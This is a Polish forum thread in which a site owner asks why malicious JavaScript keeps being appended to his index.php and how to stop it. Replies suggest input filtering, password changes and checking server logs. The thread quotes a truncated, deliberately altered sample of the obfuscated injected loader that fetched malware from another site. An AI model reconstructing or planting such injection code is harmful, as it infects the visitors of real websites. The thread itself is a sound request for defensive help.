Ciągle hakują mi stronę www - jak się obronić?

Mam prywatną stronę niekomercyjną więc wydaje się, że nie powinna być przez nikogo atakowana. Tymczasem raz na 2 - 4 tygodnie ktoś lub coś powoduje dopisanie do pliku index.php na samym końcu złośliwego kodu javascript, który powoduje że z innej strony następuje pobieranie szkodliwego oprogramowania. W konsekwencji google dodaje w wynikach wyszukiwania tam gdzie jest link do mojej strony ostrzeżenie, że “ta strona może uszkodzić twój komputer” no i oczywiście drastycznie spada u mnie liczba odwiedzin. Atak miał miejsce już chyba 6 razy. Czasem sam zaglądam przez FTP na stronę i sprawdzam datę modyfikacji pliku index.php. Również wczoraj wykryłem zmianę, która wystąpiłą dosłownie 3 godziny wcześniej. Oczywiście był złośliwy kod. Tym razem usunąłem go zanim wykryło je google i strona nie została zablokowana, ale nie chce mi się już codziennie sprawdzać co się dzieje.

Teraz szczegóły:

  1. Serwis jest w php, jest tam kilkadziesiąt stron, ale problem występuje tylko na index.php.

  2. Po pierwszym ataku hasło FTP zmieniłem na inne - około 15 znaków z cyframi i innymi znakami - sam nie mogę go zapamiętać i zapisałem na kartce.

  3. Identyczny atak miał miejsce na starą wersję mojej strony na innym serwerze (na republice). Wersja na republice była w HTML i kompletnie bez php. Index nazywał się index.htm

  4. Złośliwy kod UWAGA zmieniłem niektóre znaki żeby nikogo nie zaatakowało wygląda tak:

e = ‘0x00’ + ‘5F’;str1 =

"%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7

%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%A

E%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%A9%BB%AC%AE%B7%BD%B2%AC%F2%B7%B2%BA%B1%

F1%B4%BC%F1%AB%B0%B4%EF%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%A

C%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";str=tmp=’’;for(i=0;i

Pytania moje są dwa:

  1. Jak w jaki sposób ktoś lub coś dopisuje mi ten kod?

  2. Jak się obronić?

Ktoś zapuszcza Ci pętlę w js …

Filtruj dane wejściowe, którymi posługujesz się zarówno z GET’ów (pasek adresów - np. id, kategoria itd.) jak i z POST’ów - z formularza czy coś…

przykładowo:

zastępujesz

$login = strip_tags($_POST['login']);

$wpis = strip_tags($_GET['imie']);

i tak z całym kodem, gdzie coś od kogoś pobierasz.

możesz używać htmlspecialchars i inne - jeśli korzystasz z bazy danych - mysql_escape_string itd.

zmień serwer… czasami jest slabo zabezpieczony i wszystkim klientom takie (czy inne) cos jest dopisywane, zobacz na innych stronach tego serwera czy nie mają takiego problemu jak ty

Pozmieniaj hasła od ftp’ka i panelu. :wink:I poprzenoś kod do następnych linijek bo strasznie się strona rozjechała :P.

Nie orientuję się o co chodzi z zapuszczaniem pętli w js. Co to znaczy?

A co z GET i POST ? Stosuję różne rzeczy na stronie w php, ale miałem kopię strony na republice i był tylko prosty html bez żadnych GET i POST a w efekcie również tam dokleił się kod.

Czy dziurawe skrypty JS mogą spowodować, że coś się doklei na serwerze?

A jak dokleja się tylko do pliku index.php - to czy dziura może być w zupełnie innym pliku? Pytam bo plików mam kilkadziesiąt i przeszukiwanie może być kłopotliwe…

Dostawca to fr.pl sprawdzałem w google inne serwisy na tym serwerze i żaden w tej chwili nie ma ostrzeżenia google, że może uszkodzić komputer

A czy problemem może być wirus lub trojan który podkrada moje hasła z total commandera? A może jakaś dziura w programie TC?

Sorry że jeszcze tyle pytań, ale nie jestem webmasterem i w wielu rzeczach się nie orientuję. Czy jeszcze jakieś dodatkowe informacje są potrzebne?

a masz jakieś logi z ataku? Lekka zmiana konfiguracji php moze zdziałać cuda, ale żeby wiedziec co zmieniać, trzeba zobaczyć jak wygląda ten powtarzający się atak.

Nie mam żadnych logów i nie wiem gdzie ich szukać :?

w panelu serwera to jest, najczęściej w dziale ze statystykami, a nazwy ma rózne, np. u mnie w cPanelu 11 jest to “Wewnętrzny dziennik dostępu”. Analizując zapis w logach mozna wiele rzeczy zdiagnozować :slight_smile: Nie wszystkie darmowe serwery oferują dostęp do logów, ale w przypadku włamań można zwrócić się do administratora o udostępnienie.